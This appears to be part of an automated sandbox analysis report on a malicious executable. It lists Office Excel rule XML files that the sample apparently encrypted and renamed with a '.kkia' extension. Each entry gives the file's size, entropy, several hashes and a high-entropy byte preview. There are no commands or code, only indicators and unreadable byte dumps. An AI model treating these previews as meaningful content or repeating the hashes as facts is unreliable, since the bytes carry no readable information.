Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.761231883779377
Encrypted:	false
SSDEEP:	24:gCd/81AxuFG147fIVRwRB/jIPXKGbsRsLlWgoRpMNkbD:2fEcxjIPmGBWrTD
MD5:	EBCEBEF6ACB1D1747DCF1F5D5851A76F
SHA1:	15D52549F2D1ABE1FD50E7950B0646671E2A1849
SHA-256:	4ECB774A83F0D7AB17E686B1DF3C559D1872598E9AB88BFFB031131AB1C87D59
SHA-512:	BCB1827F8DE1412CBA6EE835CDE4183D77F35F433101B2E61FFE9141C4B23477C07363B87DE679EE4AF2AE1EA82B600F324762D12CA7339091C201B3346A08A5
Malicious:	false
Preview:	<?xml.U....w..v...q....2...}..L@0.B.9.....,J....r.vtS._..@s>u.\.....7...!P......5D..e.&..e.. .wuT.v......DCZ./...H......H%..v1t..9......q.u.%...>62z........Re.X.I....pq.+..M..n...K.......}.F(..)N..........Y..i.k=Xa.={.E.2.H..^..Y-.@.i..........3N!=.km.2d..\|5{...=.?=l......f.z..}.QB..@t...N. F5..j<.Bb).Z...4.s.a..q.d.:.M.#)..&...;.J......4....-....hX{.eb.-..@....d..g...A.w.E...]$D..nY.J8)F...S..r...sh..h.x..ga.S.0.y\....{x..8hwrHx%2v.1...}.i..8.s..?...#.$. ...'Y..k..dwLFG..\|.S...qB.(j..o....,.2..fTlN.l.(.....K..ymkKE..9...wP.v....t..r..T..T.Q.........kz1..f.... ...^.5..v[.....J..A...y9...<..e.,.v....O.KJ"FX.....l...o.]0d].; )O..'.h....Ple<....7....x4w.2q.,...R.g.c..3....F....m..P9y....N..\....;F.\|.S\P.v.F.<h....F..%c.a..WJ.J.q?.....-b..QWeV.?v@..v.B...L...-...gY....1.!.L.-.0.....e..\..hJ..t....#l..._.%....8.....g:.iY'...s..\......!.x...K._!gF.&..b.b.n.......eF.2*.%...(...Q5.4.Y4.7\|.E.=......\|.z...O.\.4.CF..k.b....<#.m.....v....nd.UdYUDK

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.930504017985377
Encrypted:	false
SSDEEP:	96:yNf0AgBRLlpub7vQ9uFB6CLezQinuK4gC:yNcAQuH4bE3K4R
MD5:	74DCA91605521FC8E59FC813D3C9C87C
SHA1:	254C59B3034FD0A082DC9040A31E6B527051FD95
SHA-256:	45FB264811E417D4BF90C4716947EE5DDC1A22FEEBDDFA0869150E8D6B93507E
SHA-512:	F39637A36F99C42A449729D0ACF450F33D9078C991C510470932FF5BEC58937838CEB2E0A3FB5AD732665032F802ED8711D675238011AA7199AB1779ABDADAE0
Malicious:	false
Preview:	<?xml....:X:..........\..6.........oo...OU.%.....H.P.[.?...SX.^t.4.U]...X:....u....". .k.../.^bL....5._B.{q1\|}..->..w.;2.h5........L....d3>.l...k..._....Q.P...6......;.......R >e.....G...p....L.^e.M...l......&....@. .[.oa/6.9......L....s+V.Z...I...+.\|.w..T.^..p].f4.Xdp.....a.#./.;.l.o.....zS....X<.C...l.[.B..N..H.%...I....^.[RK6.A..p.Q...LsOH!d.a.u.....pX]....j2.....b..S7..O.u..........R..9..).6...?..!s.;l.0.=...H"..].\.....+...o../@...:!......\..\|..S..7.~.[.....Z.bj..q.l.o.E.".z...^2..6.;...o3%.Nz ..;3\|.......E&+.."9@..3.;....!l..:...y%.k..../z.?<2>4\8.T.O.../....^.#....1.FpD.JY'.....e.....0..0 sT0...zL...B.0y.h4.z.^~...9...\|...2.z...P@"G.7.H9..l......:..RO... .u...B..L.......K.!.f.,..k.....z..$N2W;qh.0HF...Wa..Gw...P.....c.U......>e..[y.......vD.....(j;r.5...r....R..J=\|.0.."..Z.na..[A..y.`.8...-..B.......[:........(.$R.....4.....8J/J....S(.....=l6..zB....,...p...}....a.pS-....^(D.qZ....../A...OS......9.p.=...x.EQz.....Zs...>}.2._....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.822997145864284
Encrypted:	false
SSDEEP:	24:l1Cjc8Bd5ZYnJ9gw9RdjujFqmfgHQ0hkGBaHRBzH1+GkbD:bCjcCdHYzgmzqFHoHQ0CGBoqD
MD5:	5506FFB2FB6EEC87506363BAD443C66A
SHA1:	7CF4782E414F6B76CAA75F7F0C6A96213EA75DD5
SHA-256:	A67361A976E2FFC5A3D13A869BA68F0D333BF4C515C474C93194DAD3EED7FB95
SHA-512:	BC87EDFCAA0E4C3F41EB6F44E337C52A7C037B851FF3D9B86AE34E18B02E69A76A6E0A8AD13A869BA0C847619DD635038B4C65F9C8CD03E85628978865F2CCD1
Malicious:	false
Preview:	<?xml..^G...!.U..1....C.{@...v..${.Z.....$....}.d..lN...j.q.+Zf..Yb....'...rY\...+..0..:.p.P.......IH5.3..h.(..T.._e...:..Z..Z...N...l.GXD../.S..".@...fh......fO..c:...+.b.. K.~m.IF.f.....(...I@.z. .}r.xi.4.lp`;G.../...c.{..~...-.....y.i\9...zJad..9.(,l.J....S..gP...........e....,79U...........f..g.,.I.f@....o..=...$4..NV#..F.l..\|..n/p...t._..;..Pn#.?./.w.4...U....?.X#p....(L....[k....?pR#f1...z...=....#....IU...u..6....P/..Nm.?.6...8.).~...F..O..:t..ib...D.....w....Fcb........,u..w......l.....~.RF..7s.q0.oL.fW.........8..8..&Js..}k.....L...Q..YEh...F.cCu...h..#!l.C....W...:.X........a...vVu^+._.xEQT..R.. ...J..6..>.!f.=.....^3.&c..d........c+[Y..i..?1l.A.N.Z...0......#K4.+R...`.8.p..R.S/[s....._..$.<....f.Tu.......:..=...g>..:.Go.st~.f.F..t.VS....-.z....3.w.0+?k..=......U...h.*/..=.].UL.....0........\za.Cz.8.l?5...+...t>......T.]h\|..3f....p.\|.(.A^w.\|..-...z...........d..1Q.z..4.Q.....=..Jce..J.##.%..=S..WN.(>....."V..s.....n

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.974016480433369
Encrypted:	false
SSDEEP:	192:+nDJZoUFfq7P4AKrkHSNLyb6n3Hn7r10zpx/fTCjexaSvjMp2a:eJZpfeARkHSN2bm3Hn/10Nx/bfa4q
MD5:	F8D698A949F1ACC9555C8A7E91434E0F
SHA1:	FB2D01A6CCA5B979FCE82657F46F9EC1EFB50BA3
SHA-256:	5FF6DDA71F3F6B4198033EFBDABC0332C68F4F2AD3A3EFB34168EC0EA3395525
SHA-512:	D1CBDA94577EAAA9ECA89EAAE5ADC3B15F8393D2030A8EE625EF6787B750417610F78D9850134E0B8DD06E942D5FD4C108A6021CB53BBA8F0BD975FB0ED88907
Malicious:	false
Preview:	<?xml5.K..5..{d.W6Z9.3#.f....W...\=`.aDP_.l.9`.M5H..U.....(VC.Z....'c..Y..G..,.k.W.......G:.E=...-......f.u@.,..WM....!c_.XI.....J.3....z...Uvg...rOF.`......)..KN<..5..&.~..SK..v....Vh:E[.%..\Zm.....G....vT'.....C.H.+..JZg..d..k..............<.9$....!J.O7.../.?...K.P^...yK.....W"..^....78..?....A.-)._.{.........8L...iOSk..m...../..........\|.r.w...#2Up...~..&....1.m.G ...F&\.......q7.\|.....].......".TZvT.I+...."....0..y.v.R.y..u........V..pQ.a9F....j....a..R..m..Y.6D.2.vMX.#...E?4......g..[.[.....~6$...E..;.....%.2.......yt.-.1."M.b..[...>g.N..Pq)..UA.2.R47.%.F.v.:...a..q.7.n......^..tXP...f"...A.t...b!.k...t..B..`.K..w...!....m.m.......!\|LB.5....&6.....J.......<....0.....K.3p...oH....F\|..[2.....@@..Rk..h.r.`Z _M..'.. G.`...6...n....o8...`..C.Iu.....].:ic.....{.t...Y.......".%...D........E4.v.zA..%.g.......D.....qD.{..F..L..J{s...B.g..-:.?%;'..Gqq0.v.&^.IJ.LW.U..6u.Wt.8.q+"...P.j-...f>K.O..`]...o~\|..>.Z...9]......5.V1#..X9..<...^.2..L.z1E:#.<..s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.7094250515275204
Encrypted:	false
SSDEEP:	24:IHPeIuCGeGrlE7ACr99/ROXpBrPdyKkbD:IHWIuCGLgrj/R2BLYPD
MD5:	1309FFB8A1BDE03D05B7FC837F8177F6
SHA1:	7A1B356DAD7A5BC504BCC6709CB3C2C565844CFD
SHA-256:	F71FC212CFBC86451ED0DC293B9072AD69153225D79155C7600F737DA4E84D0C
SHA-512:	6913CF56B317561B33A03DF704A9EA187124AA2C12AC75D5B13ADB1784BC2A716705EC39C26293F352B55B7405CBA12AEBCD0A97533E61D8F6A1F102868783F0
Malicious:	false
Preview:	<?xmlR64..A!r'b..].....{......u'K...n.1t.}#..... .....%..+.0.G..W..fD...f.[..C.g..B.WR.F[...;.d]7.:.Oz....Rr....Lp`<.....c.(7...S5vg..Q..&r...kr@...0.%VY...B......O..]..U-D....y]...~........L.......z...Yh...C..RTz)....'N.Q-..)O[.V:.!........e9.....g.H.,.]...1...J.#...,tk...4F..6..2.dH..K.n....Hk../.:j.0..$..s.m.L.t........hS.J./.....a..:x..U&...8....2..W.Lm..q...q.<...../._....t).m...f..o#...)5m+.+.q.%..)\.t...p_........p.!.....c.._^.8..r..i.j...".$H.'....\|.-.S.......fi...U..d0E........:]m..h.=.j..G.'..E.>.,>Z.g&9.@r/].7.Cx...j+.:...k'...9.=.Z>:...Y~.R.Fq...&..&.c..xdr6R~.e..<.psAL./..b...H.. b.L....'m0'..c...!......$.G....i,.f..F..{E......5..~......:..d.......$!.p..sF.n.Ddq.M].6U....C.v#E.@dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.902392308570798
Encrypted:	false
SSDEEP:	48:oGq1qMvJOTZI5Wmc1xFN8A0/G+Zde3Eaeo7yM6071r4G1c0QyD:7nja5Zc1jNr0/LZYV17Hr4cc0Qa
MD5:	E92CF2A345D1D5B3861948DCFA6223AF
SHA1:	177BB564DECB74D562013E09D8EBC005E549EA1C
SHA-256:	1FFA292C2A25F1E4C338C62741700C8A6DEC7C7D8DE16AB12CF63893B04F9F9E
SHA-512:	867A4D5E4640A09C2B84BD4002C5CA09EF8675BE7FE88E059E77DEF285F43765F2BC34B912E998BE72E28FDF2B60CDE89A05A4D4E3D8A0090A9F56285FA01BE2
Malicious:	false
Preview:	<?xml....(Q.WmB..h.p.~Ui...W......V96...<.R......../...P7.]...H...0<.O..C...#. L[....?..i.<...sk.......q.....H.]..F0.......YG.B%..:..(..C.....Q.....ah..dS{.N..u.. Z..S.q....\|...c......1...1.u>.,.Q}uo.g...@..H.t.:.../C....O..'}...{(s..S....?..........o.X.Mvk.0. X.!.s.5l..5+.~...wW..l..,...c.$;..m.......4eTM..#.F....:Ro....1j.;.JgPB\...@a..w$.B0.._...G....h.M...dk....l.s...~+A......\.;.J.....m.;..d..e.].N.]..Z.64V$..DAh..A...6$..4....}.{+..c....;....._..J..f.{.Od&c..x.B[0.(.tu....j..J..q...2....7..iV.MQ<...{.N.....2......a....L,X..P...j^.u.2L.]....Z.r.i..9FTbkT0..&.....!U..^.Y.q...s#A.e.\|....!.........q.4..:1TcP.\Z.7..y.\|[.B.....P..7...h......kt.,.3...'..,p.....E.......~K+ ..>X..g:...1.T~.C&.....O........x.~.....5....w.W.d^m.-.zM.[.P."p...#..L..3..........=....pe......;...N..V..B..<0'FS...>{S.X.w.........Y..(..b..._.(.\|m.f...B.....:..7@..L~....<.vk_.X).P...@......:h.XG..f.mv;.v..$.Wv'......=?.......Ir..w#.!.......nH..I..1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.851762758237928
Encrypted:	false
SSDEEP:	24:gKNGgVbtvnsbIJAXll+rlymGQIsU5nrGc0srNA+ci8QslXaGtGNX6r26kbD:gdwRSIucAmGQIVnH08NA+fUBtG56r2/D
MD5:	F110152BEDD2E631C7417F2F83D992AB
SHA1:	8C382876880EC5FDCF3F180144D3CE011D381FEC
SHA-256:	5E224202CD6F14111BC5DBA0B32C3D206DF18D68C9AAAAB30B5CADC16F288D56
SHA-512:	1F7C1ADDD3837D1EE2131F9E3B7653A5BDE0E92F914F5F36CE6D4884A852AFD7D383C1C4D0208FF3DE7AE983CC126A4719E78F51142583A39EBD058D9761D1BD
Malicious:	false
Preview:	<?xml.....E.Q..I.a\i.=..;]z.......d..S.di..f....y..~.OA....B....z.4L.......Y..Q..e-M....c..3V.u..0d=.......z.n}&..A.9.S..........wK.].w.~f.9f.^.....F.Q.L..k.=.........M...C.~.-..D7.. ........e.....,.q....4..Vt..}.z.1....c.J.d+v...%=...w....4.,a.y.`.&.....Kj..F.....0.&.../.[..........p..y..\..A.3.h...[...DK.A...:....:.:.\?.R.T. .U..Q..".+.........T.b.#3\|..I?;. ...~..jXaP.G.....<@..6..k.t.Ay...e.q.......J....V5...,...V..mar...u..:.......7.....v....5.)k5w...+...,..6@..=$..(.h...I.@...\|We0...:.".ci(..x.@,dI\:....3k..x...w>=."...UBtoV..r.K:.W...h.....<..2,.H?>Wg.sk...+ ...P._..p'..0.J..X2....r..0........4#/.4U}O.nU..q<..$.L.J.X..$>..SJ`l..~..^.....z......v..?.OX..s..f..E<s.f..d)...........P...~.2....(@w.s..a.!d...&.#.g..!c...'"..u.%\..j..j.......9......X....G[^a.C.....tlq.."7.."..M.I.?.8G..^.N_.H.'.d..Kr.g..].s.O..%..b.lZ...y .o*h.rHm.,........wB......2...d..f......=..-..n./....#>....../.k.bL....@s..;Vm.....E=....w..3MM7...k9.\|.?..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.933052509273148
Encrypted:	false
SSDEEP:	96:l08OXi1rRcQVbtEAVNZ8FDJHmNg6aRCJ77ZGyr:l08OX2/VvVNqcNV7tGyr
MD5:	531601EA675736329FD6A7E699F0C149
SHA1:	AA285FABA303BA1597BEBAD90835D0D15B70A601
SHA-256:	8D5FAE6F7CDAE6C52730CEAA4E6216A2598B3E2B6F0B45968F7A7AFF7B1EEFE8
SHA-512:	A0093254B1A1D79A5E487D0392BEC93A2795ECBAFC7B79E0DEAC6BB8BC2A531287B23487A3961421C8BFAD05685D0DE8D57C696880259FC6EC2D45E10A30A071
Malicious:	false
Preview:	<?xml.7x......o.H+O.z.h...,.O.h.K)'BQ..MT..G... ]..;..}y(7..t.........P.....^.7%...F.....B.'..~..D..F.0..,.Y...0b...r.V.>7..l..4......4YS!P.]a.IWv......R(m..1w...........).DJ....l..VBE.:....B.>Y.]M.@h#.<2.....UL.}.....x.e....bP...+.)..Xlm.mS.c...G%.z...+.G.S....=..9`..!...zaf:.4..,.?.1..f..-p...O...5c......).D>..k`.C...".W..D..?%r.\f..3.....{..(.0.. ..k...[8@...q.Uz....4.......H..vb.`4%.3...........@.......).9.2.a7.._`.....F4...G.(.4_.>./....1{/....]...h.l...{...!.(i.q.ep....eX".....Q....?......Pf/..\...q1WR.8..6....R:@..~......}y..Ild;.JI.M..Ne..ms.).Po.\|.....a..H....6{.~b.....c..s..]L...Z.....M...N.jbQ.5^;..}`..?.6.#......ij.....u......(...wN/.1...<.V....7..hR.......V<W......N].._.w8....7.z....;;9......(.zl.[{".Y.A.c.QY............h3.....6r.........5....F...8V.t$\|6....,.E.....sUX.\8..V.;Z.Z"...X...t..X.WNJ.......I8....e..........6.."..._..sT.'.P.D-`q..?G..{....a&.${%u.S\..i...By.4..E.g...1P.+.....jH...nzl.#.x........h.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.892342135642815
Encrypted:	false
SSDEEP:	48:l8KRI7oyK0GziH4TbUEHuO4TgVdvJnq6ehuXS33WCD+Y5p601HoF6U1APPqB7KyD:i97UOuUEOz0dvJnGXD+Y760hoMNSea
MD5:	A88A81AC4A003DF2E106EAB820E1C978
SHA1:	3DF10CB2EED856B89BB6CB2EAE1B9B4042875423
SHA-256:	5884D460CE00527D132F7DAB63EF77D0184B2C75ED66CA5C98BD7367B3E17FB6
SHA-512:	31395DA1C3E9D980ED4F651204E3F0C043A70365C9F8C884F620298633D409160F8136BA8E66C9D9563254B79210692F6440D3EDDCD26AA66585AE1D1B48FE45
Malicious:	false
Preview:	<?xmlGw...Km.m......s.......;..Y...I.W.J...-...x..aKY&.>.5...qC..u.o.T.....t...3g...wR...9.D\....J.~....r.....<E.7<.?4R.2......W4\|+5....E..-...D..(....o.g.~..m..<d.8. .o. ..qh....\|.NTa..S]tH&...]8..>..!.9_........Q4.hP..P..dn......6..EQ.J....."F.....0?.B..A..C}{..........2xW..g.t(._...L.<\|7!.n...x/...]2...o..y..(e.5K..[.)..M.!t.3:...!......TY......H...&.rYL.8.og..o..~.rj.l.P....!....z....v..}...R].o...e.../_.`.n2.`l.R......n/.!...8#.Ra.{K....%.Hv=....Eg..[D.;H...Q.$...Z8Obj.JB....^.T.^.....V.H...G^.........?..T+~.3....u_\[.%...~..t.."..%...}'..........G]..0z'8..S......VS.zf..Pi P....-H...Lo..$..s...[Y.cp.....%.H'..3.......q.t..av..).Yu.........E/,.#eS,{.g/[&m.D (......2xm.....!...4.u.<......0....R....-.1+r0..T@.t4$....<G.95.......$'..m..X0...A'.R.4_&..m=...E....u....ly.;.....\...'z3..l..$..DX.\|.K..nyi......._.0W.....@...L;u.$....?+H..o..b.M.2z..&4...a.x.Kr...p.{.S...7.?C....+..;g(......../....%b..O......c.........Z3...."...:S.j.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9775800712308635
Encrypted:	false
SSDEEP:	192:s5BYG5iJbEudy/YOO0j0R3uD6GZQXA4sarX1fXPvG:iYGa9S8iEeD6GZqtlxHG
MD5:	6E0985F07F072921C0D80DBAE37DBFC0
SHA1:	80D25EDB7ABB1F19BFE1F51E92C24505AE881319
SHA-256:	37723610FE91AC03F6BD22C72717A8A300F663CB5769343B99B28E6432E2C40A
SHA-512:	FD244F0A1A671728F258CA5BBAC710FB690E7EA54CDDA8D2626B6CC454949BC0E99197C87AF7D873FAE666115A4A94B1D1C577D565A0028F30A119BE2266689D
Malicious:	false
Preview:	<?xml.^..1;.j^...U8.c..d.....B.S.......[.,...X.....B{D.d..l.]... Z894..?.0.:....@.',H\|.....0.N2.j....Xp.'J.....[.Y.....1.....e.n...e....07V}.:.v....s..+s...._..!a.......V9.l....e..1......2c.....t.../}.9.JoE....?.X.....E.R.o.(B.........}.,...e..~^..}..]pT...L...X..p[g#... .=....hXZ&.z>....T..0..g.,b9...!.yx'.!....M$W.......~...AM..\.VL...3...0.RY@nd2.....-..{....IR.......{J.r.Y!O.THi.ws...(.....5 .'.l.6...".`@..S.N.u.:.>b#...TR...,.E.S/.i..`...w.xs.C..f./....o.h.....o*...J:>..h..2...."w]S.....\...xX.T<mW.?.`...]Q.$K..:... [..:.s.E.W.o.....n.\|....B%`9.....o..L.....QA.a..B....q.,/M.....53.C.n...X.[.'.3......1^..e..3._G......VR.x...d..>p..:.....r..G.nK.C.....m.7....a>....-kv;$#.....0..!..d..q?:=..n...;.K...m..hD^.........J....f....).g.b#...l`.<:-...4...q.@....R.R.P.x.lK.w....7..`...@...K......7h..[....)G.0.....@m(8...v.uI.nJ.N...Hn.iv!.0y.3......,R..i.WZ.\|.t.G.e...?...HC..bedtl..#.a.......W..........'..HM.Pn..."..x6.x..N...X.Qd_.'..=av..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.959159094045985
Encrypted:	false
SSDEEP:	96:LoAmUem87i7B2JQyFcrHwWUn9bYZcKhQtA/4:EAmUeaIMwWI9bGh2AQ
MD5:	6FAE20CE1E3636C4C66C7472A4CF9318
SHA1:	AC95994254008FC65539FC069AFBD85F48B39BE8
SHA-256:	42B6838F5CE57994C371F4B435F477C3E105F2F2BDA76EB7430F27887FA331AF
SHA-512:	EA415539C2FDCCAD09FE62912868D1163BBBF1716D6DA1534AE8B16EDAA4D1DE4E1388468445097709BC3A10AEEBE022094E921AF42A8C595A24C44C7EC4EE1B
Malicious:	false
Preview:	<?xmld.._..?.....V........6....aw.Z..&..T.,4...+.A....v..!Bt..y...zT.8........ ....rB...)..x<.+.s....y..a...[.Ye........l;...8n._I_I....&.d.%..vv>..+.2./.....n...............%_....p...........-..~Y..A\|#.dW..._..;.(.T2. &h.8.....\|Y_K....,.m.}...........hT...)uj8n1^F...&c.q.j..,......N..R..E.i.b.iv......~...YS...X....."..Op.;3......e'...]...c...=.P.....dg...3.......0.W5.\U.XPb_..H.I.u;..2...e.k9...vp....+x...\|".(.c..1x<..\|.j.3q..]...Z!...J..Js.2.t5...........8.m".nv..>....4tMc.{R..S... .w..s.j......=:....T`...1.]O......BJ.Ug......?..0"E..4..uP..e<W.....0\|.4..... ..E.J}.:G.....4Z"wwJ..~.R.nV ...\....d.`O..to...v-p{.9l.....p........&.g.{.........DT.x...Wv{..lx...D..ZO.[..U..\.A.I.....W.L..B.`A{2N....pl,}...l...v"N"........:....mNC...)dM.......K'.A.T..........t..4,...gk..J.0..Q].@..oEO.\|..3t#(...a.]....k.pw....6.....?.........U...d9...g...eF.}#Z....Ki..5.V>.g.C..x.bH...R.}cj. ..4..P.......,(.T...wV#....=...G^.<.....\|.n..v.,/%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9618476779925995
Encrypted:	false
SSDEEP:	96:QG3FR6kBgIvL+TWkG5EtBKQx+PvJZZ4l+hdX4v7Gm3I7cxPjt777:j3FR6OgWL+TWk9KaQZQ65sPCQ7tz
MD5:	EFD9A0855F41B7636A8A45AFA63D707C
SHA1:	8442259229B9B0C678960BD5FD13BD2A22C7FE6A
SHA-256:	D3ADEA5405D8DB700DB71F23A77B262A6447F4DB48EE39D7EF96A6FC17D13C6A
SHA-512:	5479B6EDA1596D4CF75F877691BEBBF9782EFED32C71A9BE12A9AF9719CACAAF30B8193A5809B0BFBD7EBB707740767456F43EBCDF46E72C0C1D43EEDE8EF9CB
Malicious:	false
Preview:	<?xml-.Un`k.G.T.....cJ...Z.....+.....!..%Z7..A.S..0.N=....".=Ic?..Y%9............MH.....q.5..3...O{3...N.+.....7.4..........._^...U^.."..J.p....'h..a.U.WM..@..9.?O.E..v...(....< ..%.g(.XD......A@1.G..V....l@....&..@..xx.4}Y}k#.^........y.ZV.U...U1dO.3.]P...j...\;.,...S^.>..D.w.u>=7.s..&L...Z...?....0...Ap......qx...........5.o\|.D...K[...+.V...u4g..OJ.c....~.].....k .)K..{".......i.Ze.<.@.Q....!< s.+..@.i'cq4....=.....\D.,r.Y.I.G+....v..y...2..MQ..E.yT,F...0.....]..3c..x..X...rlO.W6+...F.P..;...h...5.uh)..pU..qg"..L'...:...U'..2.D..cn..E....Y..H....._....5..h..o.....+8t..........#.Y.._.,.$..`..#...MM.....b...;.9O.<....m.p.?.t.......Z.&.....}.E..()..w.....S...a.J..$..:......_..T.U..$....^<.d..$..yI.k.#...+.....7W ..}..5.U...[6...H..).iyc...^..\|..u\|...6.+#..6..:J...z.7Lv..N....p.q.......f.q(G..4}....S.F%.....k....}vY..X.->.......N... .g....?...x{@C..7...1_.-uo.w.Of...hW....v..../....Z.4KZb..el".....3.F..%.%......k......o*.7..;.....P.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.926247125640858
Encrypted:	false
SSDEEP:	48:sYpimIZmTVRr/GxKZE+b35hdmc0wHHzeGTcauvPhtsEVJzqlwvb9cYJ3n8D:sYMmIZmLr/DZE+bZmhwHTvTVctlVJzM1
MD5:	3B6B0E6CE1904C00841D53D88FBB782F
SHA1:	E1C6C49A7024F4C4BE98BAE9124B5AFE81648E5C
SHA-256:	2BFF54C0E7F3BE96684986CE6564A080472B4B7631CF5F4B705218CC74014B50
SHA-512:	70ABFE54E03D6015043C7D17C4CD325F945703793903E7E34CEFD2A83359D9407AE36570963BDE0B35DAD5AED72449E5E64B5834C36424A100C8FAF05F1D8F11
Malicious:	false
Preview:	<?xml.A'{.......hz.._7........%$`=.+\|W..'.A.........=.......H.......&.......za5...... kQ..[...>EOs.Ww..2.\.f&.L#..2.....B...KjLVE.....7L\|..I./v..t:2.>...0......M4..D.Xe......A....o..}..D.....p.:.........m....Ks.....,P+..30.5....V.E....V..8G...P_..2j^.A.q-f_.c...E..8$D{R....r..L".4F%.^..J.L.%.Un.P.E.(..N&.P^&i....L..T;...."..l..........t.p.... ...#u.[#..y.6.~.\|....$..7...c..t.@...L........K.yF.+YE0&.Y.&eA......Z..M...a....6.n..oM....o.XM.G.l..S`fN....#\|...+.#N...2k{U0....rm..ik...>Z...b..6..K".....o..t........^S.!7.....&.!...bP.jn.a.k+5..#y.S...V&.s..X.G....2.]Iv../....#.......OGa.O<>.K.R`q....tn,.3.^km...3>..rO..Q..8.q.F.Fy\......-8..3...G.9.>btN8.B.%. .....s^..::.,>/...Ox...2.w..iO...n..A...C.......o..z...G^._..2mt...W..Q.o...~..\.?e.T#.G.....ca.......Ey].F...h..b.....NZ..J...2..F..~..C..89W.du}.v...^.j..Z...%.E..;.."h.M.\(.G..iZ9...s.B....*.i.y..+c.W0f....x.G.......Z....<..~.W%C....'....y......^8..l_9])..y........t.0..&.JP%P..>.....u..)

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.960323048638566
Encrypted:	false
SSDEEP:	96:PLCoiETxrQIIpiD1qQHCeV6cn28LRbSuSfZRJwELYFqnPRyjn7g6/2:oETxFZ8QihcnlLRRK7bVUNO
MD5:	918C6794C6088F2230FB90CE36FAA87B
SHA1:	2696908A8C0E23EBB4F411D736ACB50385FBAC73
SHA-256:	6A1AFF6DE430B7728C52085AAB87028A66B8507F17B54D0B508EC409D3874149
SHA-512:	0B93367D283E21CA44E6BB606C02DE3EC7F94306D68714B3FC423839B2E9B8922017A36613DD216FB18450686D88209337624B253094969AB5F504D4DD223FB8
Malicious:	false
